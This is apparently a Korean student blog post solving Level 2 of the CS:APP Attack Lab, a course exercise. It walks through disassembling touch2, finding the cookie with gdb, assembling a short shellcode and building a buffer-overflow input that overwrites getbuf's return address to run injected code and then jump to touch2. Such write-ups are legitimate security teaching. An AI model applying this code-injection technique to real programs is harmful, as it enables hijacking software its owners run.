Attack Lab - Level 2

l_nerd6·2023년 5월 24일
0

[CS:APP] Attack Lab

목록 보기
2/5

이번에는 touch2()라는 함수를 실행시켜야 한다. 그런데 level 1과 달리 그냥 실행시키기만 해서 끝이 아니고, 다음 코드가 정상적으로 끝날 수 있도록 val이 cookie와 일치하도록 해주어야 한다.

우선 cookie가 어디 저장되어 있는 값인지를 확인해봐야겠다.

00000000004017ec <touch2>:
  4017ec:	48 83 ec 08          	sub    $0x8,%rsp
  4017f0:	89 fa                	mov    %edi,%edx
  4017f2:	c7 05 e0 2c 20 00 02 	movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>
  4017f9:	00 00 00 
  4017fc:	3b 3d e2 2c 20 00    	cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>
  401802:	75 20                	jne    401824 <touch2+0x38>
  401804:	be e8 30 40 00       	mov    $0x4030e8,%esi
  401809:	bf 01 00 00 00       	mov    $0x1,%edi
  40180e:	b8 00 00 00 00       	mov    $0x0,%eax
  401813:	e8 d8 f5 ff ff       	callq  400df0 <__printf_chk@plt>
  401818:	bf 02 00 00 00       	mov    $0x2,%edi
  40181d:	e8 6b 04 00 00       	callq  401c8d <validate>
  401822:	eb 1e                	jmp    401842 <touch2+0x56>
  401824:	be 10 31 40 00       	mov    $0x403110,%esi
  401829:	bf 01 00 00 00       	mov    $0x1,%edi
  40182e:	b8 00 00 00 00       	mov    $0x0,%eax
  401833:	e8 b8 f5 ff ff       	callq  400df0 <__printf_chk@plt>
  401838:	bf 02 00 00 00       	mov    $0x2,%edi
  40183d:	e8 0d 05 00 00       	callq  401d4f <fail>
  401842:	bf 00 00 00 00       	mov    $0x0,%edi
  401847:	e8 f4 f5 ff ff       	callq  400e40 <exit@plt>

calling convention에 의해서 %edi가 아마 val을 가리키는 레지스터일 것이라고 생각할 수 있다. 0x4017fc의 instruction을 보면 0x6044e4%edi를 비교하고 있으니 0x6044e4에 저장되어 있는 값이 cookie일 것이다. 마침 옆에 친절하게 주석으로 알려주고 있기도 하다.

우선 gdb를 실행하고 저 위치의 메모리 값을 확인해보자.

저게 바로 cookie값이라고 한다. 이제 우리가 할 일은 valcookie값과 같게 맞춰주고, touch2()를 실행하는 것이다. Level 1처럼 return address를 덮어쓰는 정도로는 안되고, exploit code를 삽입해서 실행시켜야 할 것 같다.

exploit code는 다음과 같은 동작을 수행해야 한다.

movl $0x59b997fa, %edi		# %edi에 cookie값을 대입
retq

test.s라는 파일에 위 코드를 저장하고, gcc -c test.s를 실행해 machine code로 바꿔주자. machine code는 열 수가 없으므로 다시 objdump -d test.o를 해준다.

/workspaces/CSAPP/attacklab (main) $ objdump -d test.o

test.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   bf fa 97 b9 59          mov    $0x59b997fa,%edi
   5:   c3                      retq   

이제 저 코드가 실행되도록 해주면 된다. Level 1에서 stack pointer %rsp0x5561dc78이었으므로, getbuf()를 반환할 때의 return address를 저걸로 바꿔주고 입력 문자열을 다음과 같이 구성하면, getbuf()에서 retq를 실행했을 때 bf fa ...로 가버리게 된다.

// ans.txt
bf fa 97 b9 59 c3 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55

./hex2raw < ans.txt > ans1.txt로 이를 raw 포맷으로 바꿔준다. gdb를 실행시켜 stack pointer가 어떻게 되는지 확인해보자.

getbufretq를 하기 직전 stack frame의 상태이다. 우리가 삽입한 exploit code의 주소를 잘 가리키고 있다. 이 상태에서 retq를 하게 되면 stack pointer (%rsp)는 8만큼 증가하므로, 0x00000009로 향하게 된다. 당연히 이 주소에는 instruction이 없으므로 프로그램은 에러를 일으킨다. 따라서 이 부분에도 적절하게 주소를 넣어주어야 한다. touch2()의 주소인 00000000004017ec를 넣어주자.

// ans.txt
bf fa 97 b9 59 c3 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 
ec 17 40 00 00 00 00 00

다시 ./hex2raw를 이용해 문자열로 바꿔준 후 넣어주면 정답이다.
업로드중..

0개의 댓글